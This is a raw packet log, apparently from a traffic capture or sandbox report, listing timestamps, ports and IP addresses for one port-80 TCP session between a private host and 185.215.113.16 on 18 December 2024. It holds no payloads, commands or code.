Dec 18, 2024 17:08:34.759897947 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.762497902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.762506008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.762556076 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.765141010 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.765147924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.765201092 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.767648935 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.767656088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.767704964 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.770229101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.770243883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.770253897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.770306110 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.772834063 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.772841930 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.772895098 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.775376081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.775388956 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.775443077 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.777854919 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.777868032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.777905941 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.780395985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.780402899 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.780457020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.783092976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.783199072 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.784205914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.784226894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.784252882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.784255981 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.784284115 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.784297943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.786657095 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.786669016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.786746979 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.789172888 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.789206982 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.789243937 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.791738987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.791745901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.791821003 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.794433117 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.794440031 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.794500113 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.796752930 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.796799898 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.796808958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.796813965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.796854019 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.799493074 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.799499989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.799556017 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.802117109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.802124977 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.802175045 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.804596901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.804605007 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.804651976 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.807506084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.807540894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.807602882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.809627056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.809648037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.809681892 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.809720039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.809752941 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.812175989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.812196016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.812390089 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.814343929 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.814363956 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.814407110 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.814421892 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.817104101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.817147017 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.817332029 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.819395065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.819413900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.819447041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.819472075 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.819505930 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.821784019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.821883917 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.821888924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.821929932 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.824275970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.824294090 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.824350119 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.826761007 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.826796055 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.826854944 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.829051018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.829070091 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.829113960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.831742048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.831778049 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.831828117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.833833933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.833875895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.833910942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.833924055 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.833950996 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.836261034 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.836281061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.836333990 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.838584900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.839241028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.839751959 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.839771986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.839788914 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.839809895 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.842164040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.842184067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.842241049 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.844540119 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.844559908 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.844593048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.844608068 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.844639063 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.846962929 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.846982002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.847032070 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.849869967 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.849889994 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.849934101 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.849970102 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.851757050 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.851777077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.851845026 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.854161978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.854191065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.854207993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.854259014 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.856205940 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.856225014 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.856275082 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.858463049 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.858524084 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.860788107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.860822916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.860848904 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.860873938 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.863256931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.863276958 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.863293886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.863331079 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.863357067 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.865534067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.865641117 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.867924929 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.867944956 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.868007898 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.870007992 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.870027065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.870131016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.870131016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.872304916 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.872324944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.872387886 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.874752045 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.874771118 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.874803066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.874840975 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.874857903 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.876987934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.877007961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.877068996 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.879430056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.879448891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.879499912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.881455898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.881474972 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.881532907 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.883663893 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.883682966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.883712053 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.883738995 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.885898113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.885917902 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.885935068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.885967016 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.885979891 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.888335943 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.888356924 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.888420105 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.890338898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.890407085 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.891469955 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.891489029 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.891541958 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.893740892 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.893763065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.893805027 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.896080017 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.896097898 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.896131039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.896152973 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.896200895 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.898303986 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.898324013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.898381948 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.900422096 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.900446892 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.900496960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.902640104 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.902659893 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.902724981 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.904856920 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.904876947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.904906988 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.904938936 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.904953003 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.907051086 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.907073975 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.907088041 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.907120943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.907150984 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.909337997 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.909373045 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.909403086 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.909418106 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.911423922 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.911463022 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.911504984 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.913664103 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.913683891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.913723946 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.916111946 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.916146040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.916197062 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.918137074 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.918155909 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.918207884 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.920206070 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.920224905 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.920289040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.922327995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.922348976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.922375917 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.922399998 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.922434092 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.924488068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.924498081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.924559116 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.926800966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.926810980 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.926826954 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.926899910 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.926920891 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.928857088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.928874969 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.928916931 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.930852890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.930871964 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.930893898 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.930917025 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.933059931 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.933077097 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.933125973 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.935266018 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.935281992 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.935290098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.935348034 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.935348034 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.937856913 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.937866926 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.937910080 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.939640999 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.939697981 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.940783978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.940793037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.940844059 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.942665100 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.942676067 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.942724943 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.945010900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.945019960 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.945034027 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.945065022 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.945094109 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.947071075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.947082043 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.947135925 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.948956966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.948966026 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.949029922 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.951109886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.951119900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.951176882 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.953207970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.953217983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.953269958 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.953282118 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.955530882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.955548048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.955554962 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.955580950 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.955615044 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.957927942 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.957937002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.957986116 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.960508108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.960516930 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.960570097 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.962872028 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.962882042 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.962930918 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.965030909 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.965040922 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.965048075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.965096951 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.967148066 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.967159033 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.967206001 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.968622923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.968631983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.968678951 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.970518112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.970526934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.970554113 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.970592022 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.972584963 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.972594976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.972637892 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.974719048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.974729061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.974745989 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.974775076 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.974792004 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.976541996 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.976551056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.976605892 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.978302002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.978311062 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.978323936 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.978370905 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.980671883 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.980681896 CET	80	49800	185.215.113.16	192.168.2.4
